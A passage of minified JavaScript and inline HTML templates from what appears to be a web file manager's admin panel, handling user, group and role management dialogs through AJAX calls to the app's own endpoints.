p=template.compile(l),u=p({LNG:LNG,user_info:n,role_list:r}),h=$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,background:"#000",opacity:.1,title:"",padding:"0",fixed:!0,lock:!0,content:u});c(),System.sizeUse($(".share_view_info")),$("#group_info").val(jsonEncode(n.group_info)),$(".dlg_group_select").unbind("click").bind("click",function(){f($("#group_info").val(),function(e){$("#group_info").val(e),d()})}),d(),$(".input_line #name").textFocus();var m="./index.php?system_member/add";s?m="./index.php?system_member/add&isImport=1":""==n.name?$(".share_action .remove_button").hide():m="./index.php?system_member/edit&user_id="+n.user_id,$("#system_save").unbind("click").bind("click",function(){_()}),$(".select_drop_menu a").unbind("click").bind("click",function(){$(this).parent().parent().find("a").removeClass("selected"),$(this).addClass("selected"),$(".select_drop_menu .role_title").html($(this).html()),$("#role").val($(this).attr("data-role-id"))}),$(".remove_button").unbind("click").bind("click",function(){o("del",n.user_id,"")}),$(".dlg_goto_path").unbind("click").bind("click",function(){System.openPath(n)}),$(".content_box input").keyEnter(function(){_(!0)}),$("#system_save_goon_add").unbind("click").bind("click",function(){_(!0)}),$(".user_setting_more_btn").unbind("click").bind("click",function(){$(".user_setting_more").toggleClass("hidden")}),$(".select_path a.select_btn").unbind("click").bind("click",function(){var e=this;core.api.pathSelect({type:"folder",title:LNG.path_api_select_folder,firstPath:$(".select_path input").val()},function(t){$(e).parent().find("input").val(t)})}),$(".select_path a.reset").unbind("click").bind("click",function(){$(this).parent().find("input").val("")});var _=function(e){s&&(e=!1);var o={};$(".share_dialog .content_info [name]").each(function(){var e=urlEncode($(this).val());""!=e&&(o[$(this).attr("name")]=e)}),$.ajax({url:m,data:o,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(o){return Tips.close(o),o.code||"version_error"!=o.info?o.code?(t=void 0,a(i),s?h.close():""!=n.name||1!=e?h.close():$(".input_line #name").val("").textFocus(),void 0):(s&&$("#name").val(o.info),void 0):($.dialog({content:o.data,padding:"30px 25px",width:"300px",okVal:LNG.learn_more,ok:function(){window.open(core.versionUpdateVip)}}),void 0)}})}},f=function(t,i){var a=System.systemGroup.getListTree(),n=System.systemGroup.getList();t=jsonDecode(t),$.isArray(t)&&(t={});var o={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!1,addDiyDom:function(e,t){var i=12,a=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(a).after('<i class="font-icon group_select_box icon-sort"></>').before('<span class="tree_icon button">'+core.iconSmall("groupGuest")+"</span>").removeClass("ico_docu").addClass("group_icon").remove(),t.level>=1){var o="<span class='space' style='display:inline-block;width:"+i*t.level+"px'></span>";a.before(o)}$("#"+e+" #"+t.tId+"_a").attr("data_group_id",t.id)}},callback:{onClick:function(e,i,a){t||(t={}),$("#"+a.tId+"_a").hasClass("this")?delete t[a.id]:t[a.id]=s,c()}}},r=function(){var e=$("#user_group_select");$.fn.zTree.init(e,o,a);var t=$.fn.zTree.getZTreeObj("user_group_select");t&&t.expandAll(!0)},l=function(){var a=e("./tpl/group_select.html"),n=template.compile(a),o=n({LNG:LNG});$.dialog({id:"select_usre_group_dlg",title:LNG.system_member_group_edit,padding:"0",width:540,lock:!0,background:"#fff",opacity:.1,fixed:!0,content:o,ok:function(){i(jsonEncode(t))},cancel:!0}),r()},c=function(){var e="";$("#user_group_select .curSelectedNode").removeClass("curSelectedNode"),$("#user_group_select a[data_group_id]").removeClass("this");var i=function(e){var t={read:LNG.system_role_read,write:LNG.system_role_write},i="",a='class="selected"',n="btn-primary";"read"==e&&(i='class="selected"',a="",n="btn-default");var o='<div class="btn-group select_drop_menu open"> <button class="btn '+n+' btn-xs" type="button" data-toggle="dropdown"> <span class="group_info_title pr-5">'+t[e]+'</span><span class="caret"></span> </button> <ul class="dropdown-menu" data-current="'+e+'"> <li data-info="read" '+i+">"+LNG.system_role_read+'</li> <li data-info="write" '+a+">"+LNG.system_role_write+"</li> </ul> </div>";return o};for(var a in t)n[a]&&($("#user_group_select a[data_group_id="+a+"]").addClass("this"),e+='<li class="group_self" group-id="'+a+'">'+' <span class="title"><i class="font-icon icon-group"></i>'+n[a].name+"</span>"+' <i class="font-icon icon-remove remove"></i>'+i(t[a])+"</li>");$(".select_group_right").html(e)},d=function(){$(".right_content .group_self .remove").die("click").live("click",function(){var e=$(this).parent().attr("group-id");delete t[e],c()}),$(".group_self .dropdown-menu li").die("click").live("click",function(){var e=$(this).attr("data-info"),i=$(this).parent().attr("data-current"),a=$(this).parent().parent().parent().attr("group-id");i!=e&&(t[a]=e,c())})};l(),c(),d()},u=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},h=function(){$("body").click(u).contextmenu(u),$.contextMenu({zIndex:9999,selector:".user_action_menu",items:{user_list_edit:{name:LNG.edit,icon:"edit",accesskey:"e"},sep1:"--------",user_remove:{name:LNG.remove,icon:"trash",accesskey:"d"},user_status_close:{name:LNG.system_member_unuse,icon:"",accesskey:"c"},user_status_open:{name:LNG.system_member_use,icon:"",accesskey:"o"},sep2:"--------",group_remove_from:{name:LNG.system_member_group_remove,icon:"",accesskey:"g"},group_add:{name:LNG.system_member_group_insert,icon:"",accesskey:"a"},group_reset:{name:LNG.system_member_group_reset,icon:"",accesskey:"i"}},callback:function(e,t){var i=t.$trigger.attr("data-id");$("#content_system_group .group_id").html();var a=[i];_(e,a,"")}})},m=function(){$(".size_max_set input").live("input",c),$("#content_system_group .content [data-action]").live("click",function(e){if(!$(e.target).is("input")){var t=$(this),i=t.attr("data-action"),a=[];if($("#content_system_group .user_select:checked").each(function(){a.push($(this).parent().parent().attr("data-id"))}),"user_list_edit"==i){var n=t.parent().parent().attr("data-id");a=[n]}return _(i,a,t,e),!0}})},_=function(e,i,a,n){var s=$("#content_system_group .group_id").html();switch(e){case"user_add":l(s);break;case"user_import":r(s);break;case"group_remove_from":o("group_remove_from",i,s);break;case"group_add":f("{}",function(e){o("group_add",i,e)});break;case"group_reset":f("{}",function(e){o("group_reset",i,e)});break;case"role_set":var c=a.attr("data-role-id");o("role_set",i,c);break;case"user_status_open":o("status_set",i,1);break;case"user_status_close":o("status_set",i,0);break;case"user_remove":o("del",i,"");break;case"user_list_select":var d=a.find(".user_select");d.attr("checked")?d.removeAttr("checked"):d.attr("checked","true"),v();break;case"user_list_edit":p(t[i[0]]),stopPP(n);break;default:}},v=function(){$("#content_system_group .user_select:checked").length>=1?$(".button_aciton_muti button").removeClass("disabled"):$(".button_aciton_muti button").addClass("disabled"),$("#content_system_group .user_list_cell ").removeClass("selected"),$("#content_system_group .user_select:checked").each(function(){$(this).parent().parent().addClass("selected")})},g=function(){$("#content_system_group .user_select_set").live("click",function(){$(this).attr("checked")?$("#content_system_group .user_select").attr("checked","true"):$("#content_system_group .user_select").removeAttr("checked"),v()}),$("#content_system_group .user_select").live("click",function(){v()})};return g(),m(),h(),{resetList:function(){t=void 0},loadList:a,add:l}}),define("app/src/setting/system/tpl/user_list.html",[],'<div class="user_tool_bar">\n <div class="btn-group btn-group-sm ml-10">\n <button type="button" class="btn btn-default" data-action="user_add">{{LNG.system_member_add}}</button>\n <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" data-action="user_import">{{LNG.system_member_import}}</a></li>\n </ul>\n </div>\n <div class="btn-group btn-group-sm ml-10 button_aciton_muti">\n <button class="btn btn-default" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="role_title pr-5">{{LNG.system_member_group_config}}</span><span class="caret"></span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" data-action="group_remove_from">{{LNG.system_member_group_remove}}</a></li>\n <li><a href="javascript:void(0);" data-action="group_add">{{LNG.system_member_group_insert}}</a></li>\n <li class="divider disabled"></li>\n <li><a href="javascript:void(0);" data-action="group_reset">{{LNG.system_member_group_reset}}</a></li>\n </ul>\n </div>\n <div class="btn-group btn-group-sm ml-5 button_aciton_muti">\n <button class="btn btn-default" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="role_title pr-5">{{LNG.system_member_role}}</span><span class="caret"></span>\n </button>\n <ul class="dropdown-menu">\n {{each role_list as value key}}\n <li><a href="javascript:void(0);" data-action="role_set" data-role-id="{{key}}">{{value}}</a></li>\n {{/each}}\n </ul>\n </div>\n\n <div class="btn-group btn-group-sm button_aciton_muti ml-10">\n <button class="btn btn-default" data-action="user_status_close">{{LNG.system_member_unuse}}</button>\n <button class="btn btn-default" data-action="user_status_open">{{LNG.system_member_use}}</button>\n <button class="btn btn-default" data-action="user_remove">{{LNG.remove}}</button>\n </div>\n</div>\n<div class="user_list">\n <table id="list" align="center" border="0" cellspacing="0" cellpadding="0">\n <tbody>\n <tr class="title">\n <td class="select"><input type=\'checkbox\' class="user_select_set kui-checkbox size-small"/></td>\n <td class="name">{{LNG.username}}</td>\n <td class="role">{{LNG.system_member_role}}</td>\n <td class="space">{{LNG.space_size_use}}</td>\n <td class="group">{{LNG.system_member_group}}</td>\n </tr>\n {{each user_list as v i}}\n {{if v && (select_group==\'1\' || v.group_info[select_group]) }}\n <tr data-id="{{v.user_id}}" data-action="user_list_select" class="user_action_menu user_list_cell {{if v.status=="0"}}unuse{{/if}}">\n <td class="select">\n {{if v.user_id!=\'1\'}}<input type=\'checkbox\' class="user_select kui-checkbox size-small"/>{{/if}}\n </td>\n <td class="name">\n <a data-action="user_list_edit" href="javascript:void(0);">{{v.name}}</a>\n <span class="label-small" {{if v.home_path}}style="background:#84d9ff;"{{/if}}>{{v.user_id}}</span>\n </td>\n <td class="role">{{role_list[v.role]}}</td>\n <td class="space">{{v.config.size_use}}/{{v.config.size_max}}</td>\n <td class="group">\n {{each v.group_info as group_read group_id}}\n {{if group_list[group_id]}}\n {{if group_read=="read"}}\n <span class="label label-info" title="{{LNG.system_role_read}}">{{group_list[group_id][\'name\']}}</span>\n {{else}}\n <span class="label label-primary" title="{{LNG.system_role_write}}">{{group_list[group_id][\'name\']}}</span>\n {{/if}}\n {{else}}\n <!-- <span class="label label-danger">{{group_id}}</span> -->\n {{/if}}\n {{/each}}\n </td>\n </tr>\n {{/if}}\n {{/each}}\n </tbody>\n </table>\n</div><!-- 用户列表 -->\n\n\n'),define("app/src/setting/system/tpl/user.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">\n {{if !user_info.name}}\n <i class="font-icon icon-group"></i>{{LNG.system_member_add}}\n {{else}}\n <i class="font-icon icon-pencil"></i>{{user_info.name}} \n {{/if}}\n </div> \n {{if user_info.name}}\n <div class="share_view_info">{{user_info.config.size_use}}/{{user_info.config.size_max}}</div>\n {{/if}} \n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.username}}:</span>\n <input id="name" type="text" name="name" value="{{user_info.name}}" />\n {{if user_info.name}}\n <a href="javascript:void(0);" class="font-icon-label dlg_goto_path"><i class="font-icon icon-folder-open"></i></a>\n {{else}}\n <i class="desc">{{LNG.username}}</i>\n {{/if}}\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.password}}:</span>\n <input id="password" type="text" name="password" \n value="{{if !user_info.name}}{{user_info.password}}{{/if}}" \n placeholder="{{if user_info.name}}{{LNG.system_member_password_tips}}{{/if}}"/>\n {{if user_info.name}}<i class="desc">{{LNG.system_member_password_tips}}</i>{{/if}}\n <div style="clear:both"></div>\n </div>\n <div class="input_line size_max_set">\n <span class="input_title">{{LNG.space_size}}:</span>\n <input id="size_max" type="text" name="size_max" value="{{user_info.config.size_max}}" />\n <i class="desc label label-default" style="color:#698ebf;background:#E9F3F9;"></i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.system_member_role}}:</span>\n <input type="hidden" id="role" name="role" value="{{user_info.role}}"/>\n <div class="btn-group select_drop_menu">\n <button class="btn btn-default btn-xs" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="role_title pr-5">\n {{if role_list[user_info.role]}}\n {{role_list[user_info.role]}}\n {{else}}\n <i>{{LNG.system_member_role_select}}</i>\n {{/if}}\n </span><span class="caret"></span>\n </button>\n <ul class="dropdown-menu">\n {{each role_list as value key}}\n {{if key==user_info.role}}\n <li><a href="javascript:void(0);" class="selected" data-role-id="{{key}}">{{value}}</a></li>\n {{else}}\n <li><a href="javascript:void(0);" data-role-id="{{key}}">{{value}}</a></li>\n {{/if}}\n {{/each}}\n </ul>\n </div>\n\n <!-- <input type="text" id="role" name="role" value="{{user_info.role}}" /> -->\n <a href="javascript:void(0);" class="btn btn-sm user_setting_more_btn">{{LNG.more}}</a>\n <div style="clear:both"></div>\n </div>\n\n <div class="user_setting_more {{if !user_info.home_path}}hidden{{/if}}">\n <div class="input_line select_path">\n <span class="input_title">{{LNG.system_set_home_path}}:</span>\n <input id="home_path" type="text" name="home_path" value="{{user_info.home_path}}" placeholder="{{LNG.system_set_home_path_tips}}"/>\n <a href="javascript:void(0);" class="btn btn-sm btn-default select_btn">\n <i class="font-icon icon-folder-open"></i>\n </a>\n <a href="javascript:void(0);" class="btn btn-sm btn-link reset">\n <i class="font-icon icon-remove"></i>\n </a>\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="input_line">\n <span class="input_title">{{LNG.system_member_group}}:</span>\n <input id="group_info" type="hidden" name="group_info" value="{{user_info.group_info}}" />\n <div class="dlg_group_display">\n <div class="cell"></div>\n <button class="btn btn-default btn-sm dlg_group_select" type="button">\n <i class="font-icon icon-pencil"></i><span class="group_title pl-10">{{LNG.system_member_group_edit}}</span>\n </button>\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="share_action">\n {{if !user_info.name}}\n <button type="button" class="btn btn-primary" id="system_save">{{LNG.button_add}}</button>\n <button type="button" class="btn btn-primary" id="system_save_goon_add">{{LNG.button_save_and_add}}</button>\n {{else}}\n <button type="button" class="btn btn-primary" id="system_save">{{LNG.button_save}}</button>\n <a type="button" href="javascript:void(0);" class="remove_button">{{LNG.button_del}}</a>\n {{/if}}\n </div>\n</div>\n'),define("app/src/setting/system/tpl/user_import.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">\n <i class="font-icon icon-group"></i>{{LNG.system_member_import}}\n </div>\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.username}}:</span>\n <textarea id="name" type="text" name="name" value="{{user_info.name}}"></textarea>\n <i class="desc" style="position: absolute;line-height:1.5em;">{{#LNG.system_member_import_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.password}}:</span>\n <input id="password" type="text" name="password" value="{{user_info.password}}"/>\n <div style="clear:both"></div>\n </div>\n <div class="input_line size_max_set">\n <span class="input_title">{{LNG.space_size}}:</span>\n <input id="size_max" type="text" name="size_max" value="{{user_info.config.size_max}}" />\n <i class="desc label label-default" style="color:#698ebf;background:#E9F3F9;"></i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.system_member_role}}:</span>\n <input type="hidden" id="role" name="role" value="{{user_info.role}}"/>\n <div class="btn-group select_drop_menu">\n <button class="btn btn-default btn-xs" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="role_title pr-5">\n {{if role_list[user_info.role]}}\n {{role_list[user_info.role]}}\n {{else}}\n <i>{{LNG.system_member_role_select}}</i>\n {{/if}}\n </span><span class="caret"></span>\n </button>\n <ul class="dropdown-menu">\n {{each role_list as value key}}\n {{if key==user_info.role}}\n <li><a href="javascript:void(0);" class="selected" data-role-id="{{key}}">{{value}}</a></li>\n {{else}}\n <li><a href="javascript:void(0);" data-role-id="{{key}}">{{value}}</a></li>\n {{/if}}\n {{/each}}\n </ul>\n </div>\n\n <!-- <input type="text" id="role" name="role" value="{{user_info.role}}" /> -->\n <i class="desc">{{LNG.system_member_role}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.system_member_group}}:</span>\n <input id="group_info" type="hidden" name="group_info" value="{{user_info.group_info}}" />\n\n <div class="dlg_group_display">\n <div class="cell"></div>\n <button class="btn btn-default btn-sm dlg_group_select" type="button">\n <i class="font-icon icon-pencil"></i><span class="group_title pl-10">{{LNG.system_member_group_edit}}</span>\n </button>\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="share_action">\n <button type="button" class="btn btn-primary" id="system_save">{{LNG.button_add}}</button>\n </div>\n</div>\n'),define("app/src/setting/system/tpl/group_select.html",[],'<div class=\'content_box select_user_group\'>\n <div class=\'content_info\'>\n <div class="title_info">\n <span class="title">{{LNG.system_group_select}}:</span>\n <span class="title title_right">{{LNG.system_group_select_result}}:</span>\n </div>\n <div class="left_content ztree" id=\'user_group_select\'></div>\n <div class="center_action"><i class="font-icon icon-arrow-right"></i></div>\n <div class="right_content">\n <ul class="select_group_right">\n </ul>\n </div>\n <div style="clear:both"></div>\n </div>\n</div>\n'),define("app/src/setting/system/system_group",[],function(e){var t,i,a,n,o=function(){p(),c(),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),$(".menuGroup").die("mouseenter").live("mouseenter",function(){$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}),G.is_root||$("[data-action=group_home").addClass("hidden")},s={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!0,addDiyDom:function(e,t){var i=12,a=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(a).before('<span class="tree_icon button">'+core.iconSmall("groupGuest")+"</span>").remove(),t.level>=1){var o="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(o)}$("#"+e+" #"+t.tId+"_a").addClass("menuGroup").append("<i class='sub_menu icon-reorder'><i>").attr("data_group_id",t.id)}},callback:{onClick:function(e,t,i){r(t,i.id)},beforeRightClick:function(e,t){r(e,t.id)}}},r=function(e,i){if("folderList"==e){n=i;var a=t.getNodeByParam("id",i,null);t.selectNode(a),g(i)}else"group_parent_select"==e&&($("#group_parent").val(i),$(".select_group").addClass("hidden"),m())},l=function(e){var t=function(e){for(var i=0;e.length>i;i++)void 0!=e[i]?(e[i].pid=e[i].parent_id,e[i].id=e[i].group_id,delete e[i].children,delete e[i].parent_id,delete e[i].group_id,e[i].child&&(e[i].children=e[i].child,delete e[i].child,t(e[i].children))):delete e[i]},i=[],a=$.extend(!0,{},e);for(var n in a){var o=a[n],s=o.parent_id;if(a[s])a[s].child||(a[s].child=[]),a[s].child.push(a[o.group_id]);else{var r=a[o.group_id];r&&i.push(r)}}return t(i),i},c=function(){$.ajax({url:"./index.php?&system_group/get",dataType:"json",error:function(){$("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>")},success:function(e){return e.code?(a=System.dataList(e,"group"),i=l(a),$.fn.zTree.init($("#folderList"),s,i),t=$.fn.zTree.getZTreeObj("folderList"),t.expandAll(!0),void 0==n&&(n="1"),r("folderList",n),0!=$("#group_parent_select").length&&_(),void 0):($("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>"),void 0)}})},d=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},p=function(){$("body").click(d).contextmenu(d),$.contextMenu({zIndex:9999,selector:".menuGroup",items:{add_child:{name:LNG.system_group_add,icon:"plus",accesskey:"u"},edit:{name:LNG.edit,icon:"edit",accesskey:"e"},sep1:"--------",add_user:{name:LNG.system_member_add,icon:"user",accesskey:"g"},sep2:"--------",remove:{name:LNG.remove,icon:"remove-sign",accesskey:"r"}},callback:function(e,i){var a=i.$trigger.attr("id");a=a.replace("_a","");var n=t.getNodeByTId(a);switch(e){case"add_child":var o=f();o.parent_id=n.id,v(o);break;case"edit":var o=f(n.id);v(o);break;case"add_user":System.systemMember.add(n.id);break;case"remove":u(n.id);break;default:}}}),$(".sub_menu").die("click").live("click",function(e){$(this).contextMenu({x:e.pageX,y:e.pageY})})},f=function(e){return void 0==e?{group_id:"",name:"",parent_id:"",children:"",config:{size_max:"0",size_use:""},path:"",create_time:""}:a[e]},u=function(e,i){var a=t.getSelectedNodes()[0],n=a.getParentNode(),o="./index.php?system_group/del&group_id="+e;$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:LNG.system_group_remove,padding:30,width:300,lock:!0,background:"#000",opacity:.3,content:LNG.system_group_remove_tips,ok:function(){$.ajax({url:o,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(t){Tips.close(t),System.systemMember.resetList(),r("folderList",n.id),c(),"function"==typeof i&&i(e)}})},cancel:!0})},h=function(){var e=1073741824*parseFloat($(".size_max_set input").val()),t=core.fileSize(e);0==e||isNaN(e)?$(".size_max_set i").html(LNG.space_tips_default):$(".size_max_set i").html(t)},m=function(){var e=$("#group_parent_select"),t=$("#group_parent").val();if(e.find("a.menuGroup").removeClass("curSelectedNode"),""==t)return $(".select_parent_content .group_title").html("is root"),!1;var i=f(t);return $(".select_parent_content .group_title").html(i.name),e.find("a[data_group_id="+t+"]").addClass("curSelectedNode"),!0},_=function(){var e=$("#group_parent_select");$.fn.zTree.init(e,s,i);var t=$.fn.zTree.getZTreeObj("group_parent_select");t&&t.expandAll(!0),m()&&$(".select_parent_content .btn").unbind("click").bind("click",function(){$(".select_group").toggleClass("hidden")})},v=function(t){var i=e("./tpl/group.html"),a=template.compile(i),n=a({LNG:LNG,groupInfo:t}),o=$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,background:"#000",opacity:.1,title:"",padding:"0",fixed:!0,lock:!0,content:n});h(),System.sizeUse($(".share_view_info")),_(),$(".input_line #name").textFocus();var s="./index.php?system_group/add";if(""!=t.name)var s="./index.php?system_group/edit&group_id="+t.group_id;$("#system_save").unbind("click").bind("click",function(){r()}),$(".dlg_goto_path").unbind("click").bind("click",function(){System.openPath(t) -}),$(".remove_button").unbind("click").bind("click",function(){u(t.group_id,function(){o.close()})}),$(".content_box input").keyEnter(function(){r(!0)}),$("#system_save_goon_add").unbind("click").bind("click",function(){r(!0)}),$(".user_setting_more_btn").unbind("click").bind("click",function(){$(".user_setting_more").toggleClass("hidden")}),$(".select_path a.select_btn").unbind("click").bind("click",function(){var e=this;core.api.pathSelect({type:"folder",title:LNG.path_api_select_folder,firstPath:$(".select_path input").val()},function(t){$(e).parent().find("input").val(t)})}),$(".select_path a.reset").unbind("click").bind("click",function(){$(this).parent().find("input").val("")});var r=function(e){var i="";$(".share_dialog .content_info input[name]").each(function(){var e=urlEncode($(this).val());""!=e&&(i+="&"+$(this).attr("name")+"="+e)}),$.ajax({url:s,data:i,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){return Tips.close(i),i.code||"version_error"!=i.info?(i.code&&(c(),""!=t.name||1!=e?o.close():setTimeout(function(){$(".input_line #name").val("").textFocus()},200)),void 0):($.dialog({content:i.data,padding:"30px 25px",width:"300px",okVal:LNG.learn_more,ok:function(){window.open(core.versionUpdateVip)}}),void 0)}})}},g=function(e){var t=f(e);t&&($(".group_title .group_title_span").html(t.name),$(".group_size").html(t.config.size_use+"/"+t.config.size_max),$("#content_system_group .group_id").html(e),System.sizeUse($(".group_size")),System.systemMember.loadList(e))},b=function(){$(".size_max_set input").live("input",h),$("#content_system_group .header_content [data-action]").live("click",function(){var e=$(this).attr("data-action"),t=$("#content_system_group .group_id").html(),i=f(t);switch(e){case"group_edit":v(i);break;case"group_home":System.openPath(i);break;case"group_add_child":var a=f();a.parent_id=t,v(a);break;default:}})};return b(),{init:o,getGroupInfo:f,getListTree:function(){return i},getList:function(){return a}}}),define("app/src/setting/system/tpl/group.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">\n {{if !groupInfo.name}}\n <i class="font-icon icon-plus"></i>{{LNG.system_group_create}}\n {{else}}\n <i class="font-icon icon-pencil"></i>{{groupInfo.name}}\n {{/if}}\n </div>\n {{if groupInfo.name}}\n <div class="share_view_info">{{groupInfo.config.size_use}}/{{groupInfo.config.size_max}}</div>\n {{/if}}\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.system_group_name}}:</span>\n <input id="name" type="text" name="name" value="{{groupInfo.name}}" />\n {{if groupInfo.name}}\n <a href="javascript:void(0);" class="font-icon-label dlg_goto_path"><i class="font-icon icon-folder-open"></i></a>\n {{else}}\n <i class="desc">{{LNG.name}}</i>\n {{/if}}\n <div style="clear:both"></div>\n </div>\n <div class="input_line size_max_set">\n <span class="input_title">{{LNG.space_size}}:</span>\n <input id="size_max" type="text" name="size_max" value="{{groupInfo.config.size_max}}" />\n <i class="desc label label-default" style="color:#698ebf;background:#E9F3F9;"></i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line select_parent_content">\n <span class="input_title">{{LNG.system_group_father}}:</span>\n <input id="group_parent" type="hidden" name="parent_id" value="{{groupInfo.parent_id}}" />\n <button class="btn btn-default btn-sm" type="button" style="padding: 5px 10px;">\n <i class="font-icon icon-group"></i><span class="group_title pl-10"></span>\n </button>\n <ul class="select_group hidden ztree" id="group_parent_select"></ul>\n <div style="clear:both"></div>\n </div>\n\n <div class="input_line" style="margin-bottom: -5px;">\n <span class="input_title">&nbsp;</span>\n <a href="javascript:void(0);" class="btn btn-sm user_setting_more_btn" style="padding-left:0;">{{LNG.more}}</a>\n <div style="clear:both"></div>\n </div>\n <div class="user_setting_more {{if !groupInfo.home_path}}hidden{{/if}}">\n <div class="input_line select_path">\n <span class="input_title">{{LNG.system_set_home_path}}:</span>\n <input id="home_path" type="text" name="home_path" value="{{groupInfo.home_path}}" placeholder="{{LNG.system_set_home_path_tips}}"/>\n <a href="javascript:void(0);" class="btn btn-sm btn-default select_btn">\n <i class="font-icon icon-folder-open"></i>\n </a>\n <a href="javascript:void(0);" class="btn btn-sm btn-link reset">\n <i class="font-icon icon-remove"></i>\n </a>\n <div style="clear:both"></div>\n </div>\n </div>\n </div>\n\n <div class="share_action"> \n {{if !groupInfo.name}}\n <button type="button" class="btn btn-primary" id="system_save">{{LNG.button_add}}</button>\n <button type="button" class="btn btn-primary" id="system_save_goon_add">{{LNG.button_save_and_add}}</button>\n {{else}}\n <button type="button" class="btn btn-primary" id="system_save">{{LNG.button_save}}</button>\n <a type="button" href="javascript:void(0);" class="remove_button">{{LNG.button_del}}</a>\n {{/if}}\n </div>\n</div>\n\n'),define("app/src/setting/system/system_role",[],function(){var e,t,i=function(){$.ajax({url:"index.php?system_role/get",dataType:"json",async:!1,success:function(i){return i.code?(e=i.data,a(),void 0==t&&(t="1"),n(t),void 0):(Tips.tips(i),void 0)}})},a=function(){var t="";$.each(e,function(e,i){t+='<li class="role_cell" data-role-id="'+e+'">'+"<span>"+i.name+'</span><i class="sub_menu icon-angle-right"></i></li>'}),t+='<li class="role_cell role_cell_add" data-role-id="0"><i class="icon-plus"></i></li>',$(".role_list_cell").html(t)},n=function(i){var a;t=i,$(".system_role li.role_cell").removeClass("select"),$(".system_role [data-role-id="+i+"]").addClass("select"),$("#content_system_role [data-action=role_delete]").show(),$("#content_system_role .group_title .label-info").show(),"0"==i?(a={name:"",ext_not_allow:"php|jsp|html"},$("#content_system_role [data-action=role_delete]").hide(),$("#content_system_role .group_title .label-info").hide(),$("#content_system_role .role_title").html(LNG.system_role_add)):(a=e[i],$("#content_system_role .role_title").html(a.name),$("#content_system_role .role_id").html(i)),$(".group_editor #name").val(a.name).textFocus(),$(".group_editor #ext_not_allow").val(a.ext_not_allow),$(".group_editor .tag").removeClass("this"),$(".group_editor input").removeAttr("checked"),$(".group_editor .tag").each(function(){var e=$(this),t=e.attr("data-role");t=t.split(";"),t=t[0],a[t]&&(e.addClass("this"),e.find("input").attr("checked",!0))})},o=function(){if(!G.is_root)return Tips.tips(LNG.group_role_error,"warning"),void 0;var e=$(".group_editor #name").val(),a=$(".group_editor #ext_not_allow").val(),n={},o="index.php?system_role/add";return void 0==a&&(a=""),""==e?(Tips.tips(LNG.not_null,"error"),!1):($(".group_editor .tag.this").each(function(){for(var e=$(this).attr("data-role").split(";"),t=0;e.length>t;t++)n[e[t]]=1}),"1"==t&&n!={}&&(n={}),"0"!=t&&(o="index.php?system_role/edit&role_id="+t),$.ajax({url:o+"&name="+urlEncode(e)+"&ext_not_allow="+a,data:n,type:"POST",dataType:"json",success:function(e){Tips.tips(e),e.code&&(t=e.info,i(),System.systemMember.loadList(""))}}),void 0)},s=function(e){return G.is_root?($.dialog({fixed:!0,icon:"question",padding:"30px 40px",drag:!0,title:LNG.warning,content:LNG.if_remove+c(e)+"?<br/>"+LNG.group_remove_tips,cancel:!0,ok:function(){$.ajax({url:"index.php?system_role/del&role_id="+e,async:!1,dataType:"json",success:function(e){Tips.tips(e),e.code&&(t=void 0,i(),System.systemMember.resetList(),System.systemMember.loadList(""))}})}}),void 0):(Tips.tips(LNG.group_role_error,"warning"),void 0)},r=function(){$(".group_editor .tag").each(function(){$(this).hasClass("this")?($(this).removeClass("this"),$(this).find("input").removeAttr("checked")):($(this).addClass("this"),$(this).find("input").attr("checked",!0)),$(".group_editor .combox:eq(0) .tag:eq(0)").hasClass("this")||($(".group_editor .combox:eq(0) .tag").removeClass("this"),$(".group_editor .combox:eq(0) .tag").find("input").removeAttr("checked")),$(".group_editor .combox:eq(1) .tag:eq(0)").hasClass("this")||($(".group_editor 